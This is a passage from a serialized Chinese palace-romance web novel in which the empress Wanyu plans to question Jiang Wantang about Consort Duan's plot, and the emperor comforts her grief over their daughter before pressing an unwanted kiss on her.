孙良言说的有道理,静安太妃说的也有道理,但并非所有的道理都适用于她,旁人说得再天花乱坠,也不能和她感同身受。 她可以听取旁人的意见,更要坚定自己的立场。 至少目前为止,她还是要以查找隐藏在暗处的帮凶为主。 或许藏在暗处的才是主谋,端妃才是人家的帮凶。 这个念头让晚余一个激灵,眼前仿佛一道白光闪过。 如果端妃才是帮凶,主谋又会是什么人? 难道除了端妃,宫里还有其他人不想让她出宫吗? 她哪有那么多的仇人? 她静静坐着,把后宫所有和她有交集的人都过了一遍,实在想不到还有谁不想让她走。 好像除了端妃,她留下来对任何人都没有好处。 思来想去,突然想到了一个被她遗忘了很久的人。 江晚棠。 现如今正在掖庭服役的江晚棠。 这个名字从脑海闪过,带起一些久远的回忆,她甚至觉得这个人本身,都已经是个久远的记忆。 江晚棠是有理由恨她的,可是,恨她就要把她留下来吗? 因为自己要在掖庭待一辈子,所以也要让她在宫里蹉跎一生吗? 即便如此,以江晚棠如今的身份,又有什么能力做那些事呢? 身处掖庭的她,又是如何拉拢到端妃的? 晚余越想越疑惑,索性掀开被子下了床,打算亲自去掖庭见一见江晚棠。 刚要叫紫苏进来帮她更衣,珠帘轻轻晃动,祁让一身明黄龙袍轻手轻脚走了进来。 他大概以为晚余在睡觉,怕吵醒了晚余,所以动作很是小心,尽量不发出一点声响,活像个夜闯春闺的贼。 进了门,一抬头,正撞上晚余惊讶的目光,把他自己也吓了一跳。 “你没睡呀?”祁让尴尬道,“朕没有别的意思,紫苏说你睡了,朕是怕吵到你。” 晚余:“皇上怕吵到臣妾,不进来不就好了,何必非要进来?” 祁让噎了下,随即厚着脸皮道:“朕要是能管住自己,就不会来讨你嫌了。” 第366章 皇上的心上人 晚余没想到祁让会说出这样的话。 转念一想,又觉得没什么好意外的,像他这种不正常的人,说出什么话都很正常。 晚余不着痕迹地后退半步,垂眸遮住眼底的情绪,语气恭敬而疏离: “皇上身为一国之君,倘若在臣妾一个小女子面前都管不住自己,还如何管理朝堂?” 祁让也不恼,伸手挑起了她的下巴:“朝堂哪能和你比,你这个小女子可比朝堂难管多了。 朝堂若有人得罪了朕,朕就砍了他的脑袋,你整天给朕脸色看,朕还得哄着你。” “……” 晚余说不过他,偏头躲开他的手,“皇上来的不巧,臣妾正要出门,恕臣妾不能奉陪了。” “你要去哪儿?”祁让问,“什么要紧的事,值得你把朕丢下?” 什么事都值得,没事都值得。 晚余心里这样想,嘴上却不敢说,略一沉思后问道:“端妃未能在死之前供出她的同党,皇上还要接着查吗,或者说,她死了,这事就算了结了?” 祁让的神情严肃起来:“查肯定是要查的,只是前朝这几日有得忙,光是裴严两家的事都要耗费大量人力和时间,就连徐清盏都不得空闲。” “那就让臣妾来,反正臣妾闲着没事。”晚余趁机说道。 祁让微微蹙眉:“你怎么会闲着没事?你现在是皇后,后宫的一切事务都要你打理。 过几天就是上元节了,因着梨月的事,过年的时候朕免了宫中一切庆典,上元节不能再有诸多限制,至少宫宴是要办的。 到时候,少不得你这个皇后费心操持。” 晚余听到梨月的名字,眼神变得黯淡:“原来皇上对梨月的悼念,只能坚持一个月吗?皇上现在是不是已经快把她忘了?” 祁让沉默下来,定定看着她,仿佛有满腔的话要和她说。 片刻后,却是什么也没说,只展开双臂将她搂进了怀里。 晚余没有挣扎,僵硬地贴着他胸膛,下巴搁在他肩头。 又是许久的沉默过后,祁让才缓缓道:“朕明白你的心情,虽然你不承认,但朕知道你和朕一样爱她,所有的错事都是朕做的,朕对不起你,也对不起梨月,朕永远不会忘记她,也永远爱她。” “那就让臣妾接着查。” 晚余从他怀里撤出来,嗓音有些发涩,却带着她独有的倔强,“如果皇上不同意,或者又想着为谁开脱,那就是在说空话。” 祁让愣了愣,怀疑她这片刻的温情,根本就是为了骗取自己的心疼。 她终于学会了和他虚与委蛇,他却不知道是该高兴还是该难过。 “行吧!”他点头道,“你可以接着查,但要注意自己的身体,不要太过劳累,也不要整天想着那些伤心事,眼下天气没那么冷了,有空多出去走走,散散心。” 晚余向他道谢:“皇上不用担心臣妾的身体,事情没查清楚之前,臣妾会照顾好自己的。” 祁让的心并没有因此放下,甚至很想问她一句,事情查清楚之后呢? 事情查清楚之后,她是不是就不好好照顾自己了? 是不是就…… 祁让心底发出一声叹息,伸手抚了抚她柔软的头发:“朕问你一个问题,如果你爱一个人,你最希望他怎样?” 晚余微微一怔,不明白他为什么要问这么奇怪的问题,略一犹豫后,还是回答道:“我会希望他幸福快乐,健康平安,长命百岁。” “嗯。”祁让的手从她头顶滑到她脸颊,指腹轻抚她细腻的肌肤,凤眸幽深如渊,“那你有没有想过,梨月也是爱你的?你希望的,可能也是她希望的。” 晚余的呼吸一滞,祁让的话像是一道突如其来的强光,穿透了她心底最灰暗的角落。 又像是一把柔软的刀,精准地剖开了她的心房。 一滴泪无声地滑落,她仓皇地别过脸,不想让祁让看见。 祁让却把她的脸转过来,动作轻柔地替她拭去了那滴泪。 她张了张口,所有伪装的坚强,都在这一刻土崩瓦解。 “我没能保护好梨月,我配不上她的爱。” “不,不是这样的。”祁让说,“你没有错,错的是朕,这一切的后果,都该朕来承担。” 他抓起晚余的手,捂在自己心口,似劝慰又似恳求,“一个人真正的死亡,是被所有人遗忘,就算是为了梨月,你也要好好活着,这世间把她放在心里的人本就不多,如果你不在了,还有几个人能记得她?” 晚余整个人都僵住,心头像是挨了一记重锤,痛得她不能呼吸,眼泪奔涌而出。 孙良言和静安太妃的长篇大论,都不如祁让这一句话来得精准狠绝。 她实在恨死了他,流着泪捶打他,一拳又一拳。 “都怪你,都怪你当初用假避子汤骗我,你害了我,也害了梨月,现在又来和我说这样的话,你凭什么……” 她泣不成声,语不成句,只是疯了似的捶打他。 祁让不躲不避,默默承受着她的怨气,直到她宣泄够了,才将她拥入怀中。 “是朕的错,都是朕的错,你怎样对朕,朕都没有怨言,你就算把朕打死,那也是朕该死。” 晚余从他怀里挣出来,双眼通红地看着他:“这可是你自己说的,你不要反悔。” 祁让点头:“朕不反悔。” “那好。”晚余带着哭腔说道,“我可以给你当皇后,但我不侍寝,你也不能以任何理由让我侍寝,睡在一张床上也不行,你能做到吗?” 祁让愣住,盯着她通红的眼睛看了好半天,才艰难开口说了一个字:“能。” “真的吗?”晚余又不放心地追问了一句。 “真的。”祁让说,“要不要朕给你立个字据?” “不用了,臣妾相信皇上。”晚余见好就收。 祁让从她泪水未干的眼底察觉到一抹狡黠,感觉自己又上了她的当,不禁暗自苦笑。 她现在这个状态,他也没打算让她侍寝,只要她能好好的活着,别再钻牛角尖,比什么都强。 “你方才说你要去哪儿?”他换了话题问道,“要不要朕陪你一起去?” “不用。”晚余不假思索地拒绝,转念一想,又如实告诉了他,“臣妾打算去一趟掖庭,皇上要去吗?” “掖庭?”祁让皱眉,“你去那种地方做什么?” 晚余说:“臣妾想去探望一下姐姐。” “谁?”祁让一时间没反应过来,神情有些许茫然。 “还能有谁?”晚余揶揄道,“皇上这么快就把自己的心上人忘了吗?” 第367章 老实点,别招惹它 祁让已经想到是江晚棠,听晚余这么说,那个名字就一下子卡在了嗓子眼。 他若说他想不起来,明显就是撒谎,他若说出那个名字,又像是证实了晚余的话。 左思右想,伸手在晚余脸上捏了一把:“朕怎么不知道自己还有一个心上人?” 晚余撇嘴:“皇上有必要否认吗,京城谁不知道您曾经求娶过江家大小姐。” “那是两码事。”祁让一本正经,“谁说求娶的就一定是心上人了?” “那不然呢?”晚余说,“不是心上人,为什么要求娶人家?” 祁让原想搪塞过去,又觉得有必要和她说清楚,便认真道:“朕对她本人没有兴趣,求娶她只是为了不让其他皇子得到江家的助力,可惜你爹当时瞧不上朕,把全部身家都押在了祁望身上。” “只是这样吗?”晚余表示不信,“坊间传说你们两情相悦,被江连海棒打鸳鸯是怎么回事?” 祁让嗤笑一声:“那些都是讹传,当不得真,也有可能是别的皇子为了挑起朕和祁望之间的矛盾,故意散布出去的,事实上,朕求娶之前,连江晚棠长什么样都不知道。” “……” 晚余愕然看着他,不敢相信那个在京城疯传的爱情故事,竟然只是个讹传。 既然如此,祁望和江连海把自己送进宫代替江晚棠,岂非一个笑话? 江连海当年把自己带到祁让面前时,祁让是怎么想的? 他会不会心里在嘲笑他们? 晚余努力回想了一下,竟然想不起祁让当时是怎样的反应。 因为她全程低着头,根本没敢看祁让。 她为那时的自己感到委屈,问祁让:“皇上既然不喜欢姐姐,为什么还要把臣妾留下来做那个所谓的替身?” 祁让挑了下眉,半真半假道:“朕若说对你一见钟情,你信不信。” “不信。”晚余想都没想就脱口而出。 她又不是傻子,祁让磋磨了她五年,怎么可能会对她一见钟情? “不信就算了。”祁让摊摊手,又重拾先前的话题,“你怎么突然想到去探望江晚棠?” 话说到这个份上,晚余觉得没必要再藏着掖着,实话实说道:“臣妾怀疑她是端妃的同党。” 祁让很是意外:“你怎么会觉得是她?” “因为除了她,臣妾想不出还有谁不想让我出宫。” “不可能是她。”祁让分析道,“帮助端妃的人不一定非得和你有仇,有可能是端妃的手下,或者有什么把柄在端妃手里,甚至可能是端妃对她有恩,你的思想不要局限于一点。” 晚余不否认他说的有道理,可他为什么那么笃定不是江晚棠呢? 祁让说:“自从江晚棠去了掖庭,朕就安排了人盯着她,但凡有一点不对劲的地方,就会有人向朕禀报,这么长时间,她并没有任何异动,否则朕也不会一时之间想不起她,所以,朕觉得不可能是她。” 晚余不免有点泄气:“皇上真的能确定不是她吗,连一点点可能性都没有吗,万一她瞒着皇上的人偷偷行动呢?” 祁让笑起来:“朕的人若是连一个掖庭服役的女人都看不住,朕这个皇帝也别做了。” 晚余知道他说的有道理,但多少有些不甘:“反正闲着也是闲着,臣妾还是去一趟吧,全当图个安心,就算不是她,臣妾也没什么损失。” 祁让看她坚持,便点头道:“那你去吧,朕不是很想见她,就不陪你去了,朕让小福子跟着你,你另外再多带几个人,注意安全。” “多谢皇上。”晚余福身道,“皇上去忙吧,臣妾要更衣了。” 祁让有意无意地将她上下打量一番,眸色不自觉变得幽暗。 她最近又长了些肉,白色中衣下,身形窈窕,曲线玲珑,一点不像生过孩子的妇人。 乌黑亮泽的长发柔顺地披散在身前,将她一张小脸衬得愈发莹润如玉,唇色愈发娇嫩红艳,像沾了露水的花瓣,让人有种想用指尖反复碾磨的冲动。 再往下,是修长的脖颈,精致的锁骨,方才那一番哭闹,导致她衣襟松散,隐约可见一抹雪白的轮廓,随着呼吸微微起伏,勾得人心头发痒。 祁让做了一个深呼吸,不知道是不是承乾宫的地龙烧得太旺,感觉身上一阵阵的燥热,连呼吸都开始发烫。 “朕帮你更衣好不好?” 他伸手撩了下晚余的头发,顺势帮她把头发别在耳后,拇指和食指捏住她晶莹剔透的耳垂,不轻不重地揉捏。 晚余吃了一惊,向后退开,警惕地看着他,同时郑重地提醒他:“皇上才答应过不让臣妾侍寝的。” 祁让挑眉,“朕何曾要你侍寝了,朕只是想帮你更衣。” “不用了。”晚余婉言谢绝,“这种伺候人的活怎敢劳烦皇上,臣妾叫紫苏她们来就行了。” “朕愿意伺候你。”祁让索性耍起了无赖,“朕不觉得伺候自己的妻子有什么好丢人的,只要你愿意,朕可以天天伺候你。” “臣妾不要。”晚余推着他的胸膛把他往外推,“皇上赶紧走吧,别耽误臣妾的正事。” 祁让硬着身子不肯走:“那你亲朕一下,亲一下朕就走。” 晚余很是无语,板着脸质问他:“皇上又想反悔是吗?” “朕没有。”祁让强词夺理,“你只说不侍寝,又没说不能亲嘴儿,亲嘴儿和更衣,你自己选一个吧,朕都行。” 晚余的脸腾一下烧起来,见他一副不达目的不罢休的样子,只得不情不愿地在他嘴角亲了一下。 “偏了,重新来。”祁让很不满意,双手背在身后,弯下腰身给她提供便利。 晚余气恼不已,为了打发他走,只好对准他的薄唇碰了一下,飞快往后撤开。 她快,祁让比她更快。 不等她撤离,一只大手就扣住了她的后脑勺,狠狠地亲了回去。 晚余刚一挣扎,另一只手又贴上她的后腰,将她用力压进怀里。 “唔……”晚余扭动着身子拼命反抗,不经意间蹭到一个什么东西,蹭的祁让发出一声闷哼。 “老实点,别招惹它。”祁让哑声警告,“你知道的,朕不是每回都说话算数。”